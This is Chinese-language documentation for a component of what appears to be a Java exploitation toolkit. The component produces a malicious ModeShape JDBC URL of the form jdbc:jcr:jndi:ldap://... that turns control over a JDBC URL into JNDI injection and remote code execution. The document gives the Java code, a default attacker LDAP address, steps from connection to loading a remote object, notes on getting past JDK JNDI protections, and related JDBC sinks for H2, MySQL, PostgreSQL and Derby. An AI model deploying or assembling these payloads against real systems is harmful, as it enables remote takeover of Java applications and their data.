- 类别:common 别名:— 优先级:—
- 作者:—
- 依赖:
modeshape:org.modeshape.jdbc.LocalJcrDriver(ModeShape JDBC 驱动)
构造一个 ModeShape 的恶意 JDBC URL(jdbc:jcr:jndi:<jndiUrl>)。当目标在 JDBC RCE 场景下用 LocalJcrDriver 连接该 URL 时,驱动会对 URL 中 jndi: 后的地址发起 JNDI 查询,从而把「JDBC 连接」转化为「JNDI 注入」,进一步指向攻击者的 LDAP/RMI 服务实现 RCE。
- 入口
tags:ModeShapeJdbcUrl、JdbcUrlChains、END——ModeShapeJdbcUrl是 ModeShape 专属入口标签;JdbcUrlChains表明它归属「构造恶意 JDBC URL」这一族;END标记为链尾 sink。 - 衔接
nextTags:无(END,链尾)。 excludes:无。
@Param(name="Jndi地址")
public String jndiUrl = "ldap://127.0.0.1:1389/x";
public String driverClassName = "org.modeshape.jdbc.LocalJcrDriver";
public String getObject() {
return "jdbc:jcr:jndi:" + this.jndiUrl;
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
String jdbcUrl = this.getObject();
context.put(ContextTag.DRIVER_CLASS_NAME_KEY, this.driverClassName);
return jdbcUrl;
}逐段解释:
getObject直接拼接出 JDBC URL:前缀jdbc:jcr:jndi:是 ModeShapeLocalJcrDriver识别的协议头,jcr指 Java Content Repository,jndi:段告诉驱动通过 JNDI 查找仓库——驱动内部会对jndiUrl执行 JNDI lookup,这正是注入点。默认jndiUrl指向ldap://127.0.0.1:1389/x。invoke生成 URL 后,用context.put(ContextTag.DRIVER_CLASS_NAME_KEY, driverClassName)把驱动类名org.modeshape.jdbc.LocalJcrDriver写入上下文——供上游/框架在建立 JDBC 连接时选用正确驱动。随后返回 URL 字符串。- 本 gadget 是
END,invoke不调用chain.doCreate,无内层包装。
关键点:产物是一个 JDBC URL 字符串 + 上下文中的驱动类名。真正触发需要目标存在「JDBC URL 可控」的场景(如某处 DriverManager.getConnection(url))。一旦连接建立,LocalJcrDriver 解析 jndi: 触发 JNDI lookup → 远程 LDAP/RMI → 恶意对象加载 → RCE。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
jndiUrl |
Jndi地址 | JDBC URL 中 jndi: 段指向的 JNDI 地址(攻击者的 LDAP/RMI) |
ldap://127.0.0.1:1389/x |
自由填写 |
(driverClassName 为公开字段,固定 org.modeshape.jdbc.LocalJcrDriver,非 @Param,由 invoke 写入上下文。)
description:适用于 jdbc rce 场景,jdbc 利用可以转为 jndi 注入利用。核心是把 JDBC 连接原语当作 JNDI 注入触发器。- 需目标 classpath 存在 ModeShape JDBC 驱动(
org.modeshape.jdbc.LocalJcrDriver)。 - JNDI lookup 的实际可利用性受目标 JDK 的 JNDI 防护(如
com.sun.jndi.ldap.object.trustURLCodebase默认 false、JDK 8u191+ 对 LDAP 远程 codebase 的限制)约束,通常需配合本地 factory 绕过或反序列化 gadget。
自由构件,未直接出现在 51 条预设链中。属 JdbcUrlChains 族的独立 sink,用于「JDBC URL 可控」注入点。
- 同族(
JdbcUrlChains,构造恶意 JDBC URL 的其他 sink):H2JavaJdbc1、MysqlJdbc、PostgreSqlJdbc、各Hsqldb*Jdbc/Derby*Jdbc等(见同目录jdbc)。 - 下游概念承接:其
jndiUrl指向的 LDAP/RMI 服务需配合 JNDI 注入利用组件(如LdapAttribute、LdapClassLoader)。